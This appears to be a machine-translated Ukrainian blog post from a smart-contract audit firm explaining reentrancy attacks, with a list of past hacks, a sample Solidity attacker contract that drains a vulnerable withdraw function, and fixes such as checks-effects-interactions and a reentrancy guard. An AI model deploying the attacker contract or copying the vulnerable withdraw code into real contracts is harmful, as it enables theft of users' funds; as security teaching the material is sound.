Як позбутися смарт-контрактів від атак повторного входу? PlatoBlockchain Data Intelligence. Вертикальний пошук. Ai.

Як позбутися смарт-контрактів від атак повторного входу?

Час читання: 6 протокол

Якщо ми ближче подивимося на найбільші криптозломи та втрачені ними приголомшливі цифри, то вони будуть глибоко вкорінені через недоліки кодування.

Одним із таких поширених випадків уразливості безпеки є атака Reentrancy. Однак руйнівний ефект, викликаний неправильним повторним входженням, може здатися не таким простим, як запуск самої атаки.

Незважаючи на те, що помилка повторного входу в смарт-контрактах є знайомою та широко розголошеною, вона завжди неминуча. 

Як часто хакери використовували вразливість Reentrancy за останні роки? Як це працює? Як утримати розумні контракти від втрати коштів через помилки Reentrancy? Знайдіть відповіді на ці запитання в цьому блозі.

Отже, незабаром давайте оновимо пам’ять про найбільші атаки повторного входу. 

Деякі з найганебніших хаків повторного входу в реальному часі 

Атаки повторного входу, які спричиняли найруйнівніші наслідки для проектів, закінчувалися одним із цих двох або навіть обома. 

  • Повністю злийте ефір зі смарт-контрактів
  • Хакери проникають у код смарт-контракту

Тепер ми можемо спостерігати кілька випадків атак Reentrancy та їхній вплив. 

2016 червня: Атака DAO – 3.54 млн або $150 млн ефіру

квітень 2020 року: Злом Uniswap/Lendf.Me – 25 мільйонів доларів

May 2021: Злом BurgerSwap – $7.2 млн

2021 серпня: Злом CREAM FINANCE – $18.8 млн

березень 2022: Ola Finance – $3.6 млн

2022 липня: Протокол OMNI – $1.43 млн

Абсолютно ясно, що атаки Reentrancy ніколи не виходили з моди. Давайте глибше заглибимося в це в наступних уривках. 

Огляд атаки повторного входу

З назви «Reentrancy», що означає «повторне входження знову і знову». Атака повторного входу передбачає два контракти: контракт жертви та контракт атакуючого. 

Контракт зловмисника використовує вразливість повторного входу в контракті жертви. Для цього використовується функція вилучення. 

Контракт зловмисника викликає функцію відкликання, щоб злити кошти з контракту жертви, здійснюючи повторні виклики до оновлення балансу в контракті жертви. Контракт жертви перевірить баланс, надішле кошти та оновить баланс. 

Але протягом часу надсилання коштів і оновлення балансу в контракті зловмисник робить безперервний виклик для виведення коштів. У результаті баланс не оновлюється в контракті жертви, доки контракт зловмисника не випише всі кошти.

Серйозність і вартість використання повторного входу тривожать про гостру потребу у виконанні перевірки розумних контрактів щоб виключити можливість не помічати такі помилки. 

Ілюстративний вигляд атаки повторного входу

Давайте розберемо концепцію атаки повторного входу зі спрощеної ілюстрації нижче. 

Ось два контракти: уразливий контракт і Хакерський контракт

Контракт хакера закликає вийти з уразливого контракту. Отримавши дзвінок, вразливий контракт перевіряє наявність коштів у хакерському контракті, а потім переказує кошти хакеру. 

Хакер отримує кошти та реалізує резервну функцію, яка знову звертається до вразливого контракту ще до оновлення балансу в уразливому контракті. Таким чином, повторюючи ту саму операцію, хакер повністю вилучає кошти з уразливого контракту. 

Як позбутися смарт-контрактів від атак повторного входу?

Особливості резервної функції, яку використовує зловмисник 

  • Вони викликаються зовнішньо. Тобто вони не можуть бути викликані з договору, в якому вони написані
  • Функція без назви
  • Резервна функція не містить довільної логіки
  • Резервний варіант активується, коли ETH надсилається до смарт-контракту, що входить до нього, і функція receive() не оголошена.

Аналіз атаки повторного входу з технічної точки зору 

Давайте візьмемо зразок договору і розберемося, як відбувається атака повторного входу.

Зловмисний контракт

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Це договір зловмисника, за яким зловмисник вносить 2ETH. Зловмисник викликає функцію відкликання в уразливому контракті. Після отримання коштів від уразливого контракту активується резервна функція. 

Потім резервний варіант виконує функцію вилучення та вичерпує кошти з уразливого контракту. Цей цикл триває, доки кошти вразливого контракту не будуть повністю вичерпані.

Вразливий контракт

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Вразливий контракт має 30 ETH. Тут функція Remove() надсилає запитувану суму зловмиснику. Оскільки баланс не оновлюється, токени передаються зловмиснику повторно. 

Типи повторних атак

  • Повторне входження однієї функції 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Функція msg.sender.call.value(amount)() переказує кошти, після чого зловмисник знову викликає резервну функцію контракту, перш ніж баланс [msg.sender] = 0 буде оновлено.

  • Крос-функція Reentrancy
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Міжфункціональну реентрацію набагато складніше ідентифікувати. Різниця тут полягає в тому, що резервна функція викликає перенесення, на відміну від повторного входу з однією функцією, де вона викликає відкликання.

Запобігання атакам повторного входу

Шаблон перевірок-ефектів-взаємодій: Патерн перевірки-ефекти-взаємодії допомагає структурувати функції. 

Програма повинна бути закодована таким чином, щоб спочатку перевіряти умови. Після проходження перевірок слід усунути вплив на стан контрактів, після чого можна викликати зовнішні функції. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

Переписаний код тут відповідає шаблону перевірки-ефекти-взаємодії. Тут баланс обнуляється перед здійсненням зовнішнього дзвінка. 

Використання модифікатора

Модифікатор noReentrant, застосований до функції, гарантує відсутність повторних викликів. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Наприкінці

Найефективнішим кроком є ​​проведення аудиту смарт-контрактів від провідної фірми безпеки, як-от QuillAudits, де аудитори уважно стежать за структурою коду та перевіряють, як працює резервна функція. На основі вивчених закономірностей даються рекомендації щодо реструктуризації коду, якщо така є вразлива поведінка

Безпека коштів забезпечується безпосередньо перед тим, як стати жертвою будь-яких збитків. 

Питання і відповіді

Що таке повторна атака?

Атака повторного входу відбувається, коли функція в уразливому контракті здійснює виклик ненадійного контракту. Недовірений контракт буде контрактом зловмисника, який здійснює рекурсивні виклики вразливого контракту, доки кошти не будуть повністю злиті. 

Що таке реентрант?

Акт повторного введення означає переривання виконання коду та ініціювання процесу заново, який також відомий як повторний вхід.

Що таке охоронець повторного входу?

Захист повторного входу використовує модифікатор, який запобігає повторному виклику функції. Прочитайте наведений вище блог, щоб знайти приклад захисту від повторного доступу.

Які атаки на смарт-контракти?

Смарт-контракти піддаються численним уразливостям, таким як повторне входження, залежність від позначки часу, арифметичні переповнення, DoS-атаки тощо. Тому аудит є обов’язковим, щоб переконатися, що немає помилок, які руйнують логіку контракту.

69 думки

Часова мітка:

Більше від Квілхаш